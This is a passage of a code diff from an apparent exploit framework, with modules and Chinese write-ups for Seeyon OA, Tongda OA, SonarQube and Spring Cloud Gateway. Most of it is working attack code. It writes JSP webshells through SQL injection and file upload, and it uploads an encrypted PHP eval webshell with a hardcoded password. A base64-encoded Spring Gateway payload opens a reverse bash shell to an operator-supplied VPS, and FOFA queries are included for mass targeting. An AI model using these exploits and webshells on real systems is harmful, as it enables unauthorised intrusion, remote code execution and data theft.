%C2%85l%C3%A7u%C2%BC%C3%815%C3%B21%C3%A4%C2%BC%C3%B9i%C3%B2jsO%C2%8C%C3%93%C2%86%C3%B7%C2%93k5v%C3%AB%C2%88q%C3%80%C3%B8%C2%BB%C3%B1%C2%96j%09%C3%80%C3%A8%02%C3%A5%1A%C3%81%C2%85x%C2%80%C2%ABu%C3%AEc%10zW%C3%86%2F%C2%BF%15%C2%B5D%C3%82%C3%9A%02%C2%9D4%C3%8B%C2%8D%5E%0En%C2%A2%19%C3%8A%04%C3%B0%C3%A6%C2%B5%C2%ADA%2C%5E%C2%A0%C2%AD%5B%C2%8EU%C2%8F%5C%23%C2%8C%C2%A1%C2%A1%10%C2%8F%C2%9E%26%7B%1E%5D%C2%BC%2E%C3%87%C3%A9%C2%BB%C2%BC%C3%81%10%C3%81%25bu%C3%95%23%1FkH%C2%9D%C2%AFg%C2%BA%C2%B9%C2%8D%C3%95C%C2%91lX%0E%C2%9E%C2%BD%C3%8F%C2%B6q%5D%C2%BA6%08%C2%8F%C2%BC%C3%89b29%C2%837%C3%85%C2%A30C%0E%0D%C2%B3Oo%C2%A6%C3%AE%C3%AFo%C3%A6%2AUb%C3%95h%C3%B5%C3%B3%C2%86%2F%40%C3%83%7C%C3%B3%C2%8Eo%C2%9C%26%3E6%05V%C2%9F%0C%C3%8AQ%0Ehk%C3%97%C3%95%C2%A7%C2%B1k%C3%A3%C3%BA%C2%BD6%C3%AA%C3%BC%C3%84%C3%B4%20s%C2%A8x%C3%B29%C2%97%C3%B1%21%11U%16%11%C2%A4%C2%B3%2B%C2%B4%C3%86%C2%A5o%C2%A1%2B%C3%BB7%C3%9F%C2%9B%C2%9A%C2%A4%25%C3%BA%C2%92%C3%B1Z%C3%9D%C3%BC%C3%8A%C2%B6%3Fx%1D%C3%ADS%13%C2%BB%C2%ACW%C3%95%C3%95%1A%01%C3%9BD%40%C3%98%C2%97%2EorGl%C2%BE%C2%BFQ%C2%B2%1C%23%C2%97%0D%C2%AE%C2%8F%C2%8F%19%C2%8B3g9%C2%B0%C3%BC%C3%A1%C3%9AO5%C3%8E%C2%B1%C3%84%C2%84%C3%A5%C3%87%C3%A20khI%04%C3%90%C2%A8%C3%AD%C3%A9%3D%3F%2D%C2%A1l%C2%8E%21%C2%AB%C3%ADn%3Em%7B%12%C3%B0%1A%C3%B5%C3%AC%19%C3%A7%C3%8B%26%C2%B7K%2EUW%C3%97u%C3%A5%0B%C3%BB%C2%87O%C2%83N%C3%8At%C2%88c%02%C2%86%C2%B3gc%C3%B9%7D%C2%BC%08%40%06%C3%99%C2%AC%C3%83%C3%9B%C3%99%C2%8D%C3%B9%C3%97Fw%C3%BF%C2%9E%C3%AA%C3%8E%C3%ADv%C3%A9%7C%C2%BB%C3%8B%C3%9D%0Dp%C3%98%C2%9D%C2%B3%C3%B2%C3%B5%C2%95%01%C2%B4K%C3%A0%C3%BE%5B%C3%BFx%C2%90%C3%BE%7C%C3%BA%C2%BC%24%3E%C2%AF%C2%9Aa%7BA%C3%A9%0D%C2%A2%C3%83%C3%BB%2F%5B%C2%802%12%C2%B0%C3%80%7E%C3%BEhV%21%13%60%C3%B0%C3%9A%23%C2%85W%C3%84%C2%A0W%C3%97%C3%B5%C3%9D%C3%BD%C3%9B%C3%A0%27%C3%9B%C2%8FlG%C2%BE5gq%2E%C2%83%C3%81%C3%9F%C2%BF%00%26%C2%ABR%C3%89Z%05%00%00"
r = requests.post(url=test_url2,headers=headers,data=data,verify=False,timeout=5)
if r.status_code==500 and '"message":null' in r.text:
print('\033[32m[#]成功写入webshell')
print('webshell地址'+target+'/seeyon/Faltform.jspx'+'\n'+'[32m[#]密码szxsd')
else:
print('[32m[#]写入webshell失败')
if __name__ == '__main__':
poc("https://127.0.0.1")

View File

@@ -0,0 +1,63 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import ua, headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='Seeyon_OA_Info_Leak'
AUTHOR="Joker"
REMARK='致远OA 敏感信息泄露'
FOFA_RULE='title="致远A8+协同管理软件.A6"'
######################################################
def poc(target):
result = {}
vuln_url1 = target + "/yyoa/createMysql.jsp"
vuln_url2 = target + "/yyoa/ext/createMysql.jsp"
vuln_url3 = target + "/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"
vuln_url4 = target + "/yyoa/assess/js/initDataAssess.jsp"
vuln_url5 = target + "/seeyon/management/status.jsp"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r1 = requests.get(url=vuln_url1, headers=headers, verify=False, timeout=5)
r2 = requests.get(url=vuln_url2, headers=headers, verify=False, timeout=5)
r3 = requests.get(url=vuln_url3, headers=headers, verify=False, timeout=5)
r4 = requests.get(url=vuln_url4, headers=headers, verify=False, timeout=5)
r5 = requests.get(url=vuln_url5, headers=headers, verify=False, timeout=5)
if 'root' in r1.text and r1.status_code == 200:
result['信息泄露path1'] = vuln_url1
else:
pass
if 'root' in r2.text and r2.status_code == 200:
result['信息泄露path2'] = vuln_url2
else:
pass
if 'xls' in str(r3.headers).lower() and r3.status_code == 200:
result['信息泄露ppath3'] = vuln_url3
else:
pass
if 'personList' in r4.text and r4.status_code == 200:
result['信息泄露path4'] = vuln_url4
else:
pass
if 'Password' in r5.text and r5.status_code == 200:
result['信息泄露path5'] = vuln_url5 +" 默认密码WLCCYBD@SEEYON"
else:
pass
if result:
tmpdic={
'target':target,
'poc':NAME
}
result=dict(tmpdic,**result)
return result
except:
pass
if __name__ == '__main__':
poc("https://127.0.0.1")

View File

@@ -0,0 +1,97 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import random
import re
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='Seeyon_OA_SQLInjection'
AUTHOR="Joker"
REMARK='致远OA SQL注入漏洞'
FOFA_RULE='title="致远A8+协同管理软件.A6"'
######################################################
def poc(target):
result = {}
vuln_url = target + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r1 = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if '序号' in r1.text and "@@basedir" in r1.text and r1.status_code == 200:
result['target'] = target
result['poc'] = NAME
return result
else:
pass
except Exception as e:
pass
def exp(target):
vuln_url = target + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)"
vuln_ur2 = target + "/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r1 = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if '序号' in r1.text and "@@basedir" in r1.text and r1.status_code == 200:
OA_dir = re.findall(r'>(.*)\\UFseeyon\\', r1.text)[0]
OA_dir = OA_dir[:2] + '/' + OA_dir[3:]
print ('[+] ' + target + "存在致远OA test.jsp sql注入漏洞安装路径为:{}".format(target, OA_dir))
webshell_name = "test_upload{}.jsp".format(random.randint(1,999))
OA_dir = OA_dir + "/UFseeyon/OA/tomcat/webapps/yyoa/{}".format(webshell_name)
exp1(target, OA_dir, webshell_name)
else:
pass
except Exception as e:
print("目标 {} 请求失败".format(target), e)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r2 = requests.get(url=vuln_ur2, headers=headers, verify=False, timeout=5)
if r2.status_code == 200 and "c4ca4238a0b923820dcc509a6f75849b" in r2.text:
print ("[+] {} 存在致远OA setextno.jsp sql注入漏洞".format(target, vuln_ur2))
else:
pass
except Exception as e:
print("目标 {} 请求失败".format(target))
def exp1(target, OA_dir, webshell_name):
vuln_url = target + "/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(%273C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E%27)%20%20into%20outfile%20%27{}%27".format(OA_dir)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, verify=False, timeout=5)
if 'already' in response.text and response.status_code == 200:
print("文件写入木马上传失败,目标已存在相同文件,请重新运行")
elif "No Data" in response.text and response.status_code == 200:
print("[o] 文件写入木马上传成功,上传路径为 {}".format(OA_dir))
exp2(target, webshell_name)
else:
print("[x] 目标 {} 木马上传失败".format(target))
except Exception as e:
print("[x] 目标 {} 请求失败".format(target), e)
def exp2(target, webshell_name):
rebe_webshell = "testweb{}.jsp".format(random.randint(1,999))
vuln_url = target + "/yyoa/{}?f={}".format(webshell_name, rebe_webshell)
data = "t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%223c961f49d5fa96c5%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("[o] 正在请求:{}".format(vuln_url))
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
if response.status_code == 200:
print("[o] 木马上传成功, 路径为:{}/yyoa/{}".format(target, rebe_webshell))
print("[o] 请使用冰蝎连接,密码为: szxsd")
else:
print("[x] 木马上传失败,可能被拦截".format(target))
except Exception as e:
print("[x] 目标 {} 请求失败".format(target), e)
if __name__ == '__main__':
poc("https://127.0.0.1")

View File

@@ -0,0 +1,84 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import sys
import time
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='Seeyon_OA_SessionLeak_Upload'
AUTHOR="Joker"
REMARK='致远OA Session泄露 任意文件上传漏洞'
FOFA_RULE='title="致远OA'
######################################################
def poc(target):
result = {}
test_url1 = target + "/seeyon/thirdpartyController.do"
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
}
data = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=test_url1, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 200 and "a8genius.do" in response.text:
result['target'] = target
result['poc'] = NAME
return result
except:
pass
def exp(target_url):
vuln_url = target_url + "/seeyon/thirdpartyController.do"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
}
data = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 200 and "a8genius.do" in response.text and 'set-cookie' in str(response.headers).lower():
cookies = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookies)
cookie = cookies['JSESSIONID']
targeturl = target_url + '/seeyon/fileUpload.do?method=processUpload'
print("[o] 目标 {} 正在上传压缩包文件.... \n[o] Cookie: {}".format(target_url, cookie))
files = [('file1', ('360icon.png', open('platform.zip', 'rb'), 'image/png'))]
headers = {'Cookie':"JSESSIONID=%s" % cookie}
data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0','isEncrypt': "0"}
response = requests.post(url=targeturl,files=files,data=data, headers=headers,timeout=60,verify=False)
#print(response.text)
reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
if len(reg)==0:
sys.exit("上传文件失败")
exp2(target_url, cookie, reg, headers)
else:
print("[x] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
pass
def exp2(target_url, cookie, reg, headers):
vuln_url = target_url + '/seeyon/ajax.do'
datestr = time.strftime('%Y-%m-%d')
post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + reg[0] + '%22%5D'
headers['Content-Type']="application/x-www-form-urlencoded"
print("[o] 目标 {} 正在解压文件....".format(target_url))
try:
response = requests.post(vuln_url, data=post,headers=headers,timeout=60,verify=False)
if response.status_code == 500:
print("[+]{}/seeyon/common/designer/pageLayout/123.jsp szxsd 默认Webshell地址".format(target_url))
else:
print("[x] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
pass
if __name__ == '__main__':
poc("https://127.0.0.1")

View File

@@ -0,0 +1,32 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 脚本信息
######################################################
NAME='Seeyon_OA_Session_Leak'
AUTHOR="Joker"
REMARK='致远OA getSessionList.jsp Session泄漏漏洞'
FOFA_RULE='title="致远OA'
######################################################
def poc(target):
result = {}
vuln_url = target + "/yyoa/ext/https/getSessionList.jsp?cmd=getAll"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "/yyoa/index.jsp" not in r.text and "<sessionID>" in r.text and r.status_code == 200:
result['target'] = target
result['poc'] = NAME
result['session'] = vuln_url
return result
except:
pass
if __name__ == '__main__':
poc('https://127.0.0.1')

BIN
Moudle/Seeyon/platform.zip Normal file

Binary file not shown.

View File

@@ -0,0 +1,36 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecurePlatformWarning
# 脚本信息
######################################################
NAME='CVE_2020_27986'
AUTHOR="Faith"
REMARK='SonarQube API 未授权访问漏洞'
FOFA_RULE='app="sonarQube-代码管理"'
######################################################
def poc(target):
result = {}
url = target + "/api/settings/values"
headers = {"UserAgent":ua}
try:
requests.packages.urllib3.disable_warnings(InsecurePlatformWarning)
r = requests.get(url=url,headers=headers,verify=False,timeout=3)
if "key" in r.text and r.status_code ==200:
result['target'] = target
result['poc'] = NAME
result['url'] = url
return result
else:
pass
except :
pass
if __name__ == '__main__':
poc("http://127.0.0.1")

View File

@@ -0,0 +1,70 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
import random
import base64
import re
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME = 'CVE-2022-22947'
AUTHOR = "境心"
REMARK = 'Spring Cloud Gateway RCE'
FOFA_RULE = 'icon_hash="116323821"'
######################################################
def generate_random_str(randomlength=5):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
def poc(target,rem_ip="127.0.0.1",rem_port="80"):
result = {}
str_code = generate_random_str()
if target[-1] == "/":
target = target.strip("/")
url13 = target + "/actuator/gateway/routes/" + str_code
print(url13)
url2 = target + "/actuator/gateway/refresh"
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': ua,
'Connection': 'close',
'Content-Type': 'application/json'
}
poc_data = "eyAiaWQiOiAiYWExMTIyMzMiLCAiZmlsdGVycyI6IFt7ICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgImFyZ3MiOiB7ICJuYW1lIjogIlJlc3VsdCIsICJ2YWx1ZSI6ICIje25ldyBTdHJpbmcoVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuU3RyZWFtVXRpbHMpLmNvcHlUb0J5dGVBcnJheShUKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJpZFwifSkuZ2V0SW5wdXRTdHJlYW0oKSkpfSIgfSB9XSwgInVyaSI6ICJodHRwOi8vZXhhbXBsZS5jb20iIH0="
exp_data = "eyAiaWQiOiAiYWExMTIyMzMiLCAiZmlsdGVycyI6IFt7ICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgImFyZ3MiOiB7ICJuYW1lIjogIlJlc3VsdCIsICJ2YWx1ZSI6ICIje25ldyBTdHJpbmcoVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuU3RyZWFtVXRpbHMpLmNvcHlUb0J5dGVBcnJheShUKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCIvYmluL2Jhc2hcIixcIi1jXCIsXCJiYXNoIC1pID4mIC9kZXYvdGNwL3JlbV9pcC9yZW1fcG9ydCAwPiYxXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ=="
if rem_ip =="127.0.0.1":
a = requests.post(url13, headers=headers,data=base64.b64decode(poc_data).decode().replace('aa112233', str_code), verify=False, timeout=5)
else:
requests.post(url13, headers=headers,data=base64.b64decode(exp_data).decode().replace('rem_ip', rem_ip).replace('rem_port',rem_port).replace('aa112233', str_code), verify=False, timeout=5)
b= requests.post(url2, headers=headers, verify=False, timeout=5)
res = requests.get(url13, headers=headers, verify=False, timeout=5)
try:
res1 = re.findall("Result = '(.*)'", res.text)[0]
except IndexError as ierro:
pass
else:
result['vurl'] = url13
result['poc'] = NAME
result['command_res'] = res1
result['message'] = "存在Spring Cloud Gateway RCE漏洞"
return result
if __name__ == '__main__':
poc("http://127.0.0.1")
# exp单独调用方式
# poc("https://27.0.0.1","vpsip","vpsport")

View File

@@ -0,0 +1,172 @@
# 1、漏洞描述
通达OA存在前台任意文件上传漏洞结合文件包含可直接获取服务器权限
# 2、影响范围
- 受影响的版本有:
V11版
2017版
2016版
2015版
2013增强版
2013版
- 受影响的文件上传漏洞文件:
/ispirit/im/upload.php
- 受影响的文件包含漏洞文件:
2013版可能大多数遇到的是这个
/ispirit/interface/gateway.php
2017版
/mac/gateway.php
# 3、本地环境搭建
下载其中一个受影响的版本安装包,直接傻瓜式下一步自动安装。
# 4、漏洞复现
具体源码审计分析就先不看了漏洞利用具体分两步第一先上传后缀为jpg、内容为任意POC验证或shellEXP利用的jpg图片第二通过文件包含漏洞将上传后的文件路径组合到POST传输的json格式的form表单之中通过访问文件包含漏洞的php文件即可组合实现漏洞验证/利用。
## 4.1、文件上传
坑点1
Content-Type内容要标明为form表单并且要有boundary内容除了那四个-之外可以自定义不过要与POST表单中的一致。
![](images/1.png)
坑点2
POST表单中每一个表单与其内容之间要有回车换行这是文件上传的固定格式否则上传文件会失败。
表单的name值不要改~~上边三个表单的内容2、123、1最好也别改会影响返回的内容详细程度。~~
更正一下上边删除线的内容这三个表单里的内容最好全部改为1因为后边深入调试的时候poc批量跑一些站本来有漏洞的出现了漏报因这里的数字导致返回不一致详见坑点3.
脚本和下边的POST包中已更正这些坑点。
![](images/2.png)
坑点3
这里后期调试的时候批量跑了一些站发现存在漏报如下这种的是存在漏洞的但是因为坑点2中删除线中提到的表单内容导致返回包没返回全正则取值的时候就漏掉了。
第二张图中是修正后的返回其中1标识的是存在漏洞的2标识的是不存在漏洞的。
脚本和下边的POST包中已更正这些坑点。
![](images/3.png)
![](images/4.png)
坑点4:
并不是第一步文件传上去了就算成功了上边总结的两个包含的php文件路径并不全所以也有可能文件传上去了但是不知道或没有这个包含的php文件路径也是白搭。调试中也遇到这个问题。
POST上传包
```
POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=000
Connection: close
Content-Length: 559
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
echo "this is a friendly test, Please check and repair upload vulnerabilities."
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
```
POST文件上传返回这个返回内容代表上传成功
@符号与_ 之间的字符部分(不包含@与_ 是一个目录名_到第一个| 之间的字符部分不包含_与| 是文件名后边需要用到这两个组合被文件包含的路径文件后缀与上传的一致为jpg
![](images/5.png)
## 4.2、文件包含
不同的通达OA版本文件包含的php文件不同一般有两种详见2、影响范围
这里就不用上边说的content-type了将上边提到的目录名和文件名分别替换POST内容中的相应值即可下边例子中是替换2108和773815306
POST包
```
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=000
Connection: close
Content-Length: 58
json={"url":"/general/../../attach/im/2108/773815306.jpg"}
```
坑点:
不知为何请求没有问题的情况下burpsuit没有返回上传的文件内容而浏览器却可以
![](images/6.png)
![](images/7.png)
# 5、脚本
支持poc与exp配合框架poc可批量只返回有漏洞的url同时返回漏洞被包含文件的form-data方便验证。
exp只支持单个脚本使用使用方法详见脚本最下方的注释其中的webshell为冰蝎原始的有waf的基本上都能拦截绕waf另说。

View File

@@ -0,0 +1,175 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import json
import requests
import requests.packages.urllib3
import re
import io
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='TDXK_Any file upload'
AUTHOR="境心"
REMARK='TDXK_前台任意文件上传'
FOFA_RULE='app="TDXK-通达OA"'
######################################################
def poc_content():
content = """------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
echo "this is a friendly test, Please check and repair upload vulnerabilities."
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--"""
mem_string = io.StringIO()
mem_string.write(content)
mem_string.seek(0)
return mem_string
def exp_content():
content = """------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$myfile = fopen("../../general/eninde.php", "w");
$txt = '<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION["k"]=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded("openssl"))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode("|",$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--"""
mem_string = io.StringIO()
mem_string.write(content)
mem_string.seek(0)
return mem_string
def verify_poc(target,exp=None):
upload_url = target+"/ispirit/im/upload.php"
headers = {
"User-Agent": ua,
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5",
"Cookie": "PHPSESSID=000",
"Connection": "close"
}
if exp == None:
mem_string = poc_content()
target_tmp_file = [('ATTACHMENT', ('upload_poc.jpg', mem_string.read(), 'image/jpeg'))]
elif exp == "exp":
mem_string = exp_content()
target_tmp_file = [('ATTACHMENT', ('upload_exp.jpg', mem_string.read(), 'image/jpeg'))]
try:
res = requests.post(upload_url, headers=headers, files=target_tmp_file, verify=False, timeout=5)
except:
pass
res_content = res.text
if "用户未登陆" in res_content:
return None
elif "\\u4e0a\\u4f20\\u5931\\u8d25" in res_content:
return None
else:
target_tmp_path = re.findall('@(\d+)_', str(res_content))[0]
target_filename = re.findall('_(\d+)\|', str(res_content))[0]
target_path = "/general/../../attach/im/"+str(target_tmp_path)+"/"+str(target_filename)+".jpg"
return target_path
def poc(target,exp=None):
target_path = verify_poc(target,exp)
if target_path:
result = {}
include_url1 = target + "/ispirit/interface/gateway.php"
include_url2 = target + "/mac/gateway.php"
# 格式化POST表单
include_json_data = {"url":target_path}
include_data = json.dumps(include_json_data)
include_form_data = {"json":include_data}
# 请求poc验证
target_res = requests.post(include_url1, data=include_form_data, verify=False, timeout=5)
result['vul_url'] = include_url1
if target_res.status_code == 404:
target_res = requests.post(include_url2, data=include_form_data, verify=False, timeout=5)
result['vul_url'] = include_url2
if exp == None:
if "this is a friendly test" in str(target_res.text):
include_json_data = json.dumps(include_json_data)
target_post_data = "json=" + include_json_data
result['vul_post_data'] = target_post_data
result['message'] = "存在任意文件上传漏洞"
result['poc'] = NAME
return result
else:
pass
elif exp == "exp":
exp_url = target+"general/eninde.php"
exp_res = requests.get(exp_url, verify=False, timeout=5)
if exp_res.status_code == 200:
print("webshell地址为: "+target+"general/index.php")
elif exp_res.status_code == 404:
print("webshell生成失败")
else:
print("已上传成功但连接时可能被waf拦截")
if __name__ == '__main__':
# poc调用
poc("http://127.0.0.1/")
# exp单独调用方式。 exp调用请传参时附带第二个参数内容参数内容为exp
# poc("http://127.0.0.1/", "exp")

View File

@@ -0,0 +1,42 @@
# 1、漏洞描述
通达OA部分版本存在任意用户登录漏洞在未授权的情况下通过一系列的请求操作获取到合法的cookie最终实现任意用户登录。
比任意在线用户登录漏洞更好一些,利用条件更低。
# 2、影响范围
通达OA < 11.5.200417版本
通达OA 2017版本
# 3、本地环境搭建
下载其中一个受影响的版本安装包直接傻瓜式下一步自动安装
# 4、漏洞利用
首先访问http://ip:port/ispirit/login_code.php 获取到codeuid
![](images/11.png)
其次使用该codeuid作为post数据中的一部分访问http://ip:port/general/login_code_scan.php 返回status为1则代表成功否则返回status为0则代表失败需要重复第一步获取新的codeuid如果多次都是失败则代表可能没有漏洞
![](images/12.png)
然后同样使用该uid值作为传参访问http://ip:port/ispirit/login_code_check.php?codeuid=【codeuid值】与服务端交互使得上一步客户端中使用的cookie合法。
![](images/14.png)
如果是请求的时候没有带cookie比如脚本请求服务端会返回给客户端一个cookie
![](images/15.png)
最后如果一直用的浏览器进行的操作那么此时浏览器直接访问http://ip:port/general/index.php 会发现已经成功登录上了admin账号登录其他账号在第二步修改username的值
或者在新的浏览器里使用cookie编辑插件通过第三步获取到的cookie值访问http://ip:port/general/index.php 直接登录
![](images/16.png)
# 5、exp
既是poc也是exp通过框架调用支持批量只打印存在漏洞的URL同时返回cookie方便验证返回网站title初步了解网站归属

View File

@@ -0,0 +1,75 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
import re
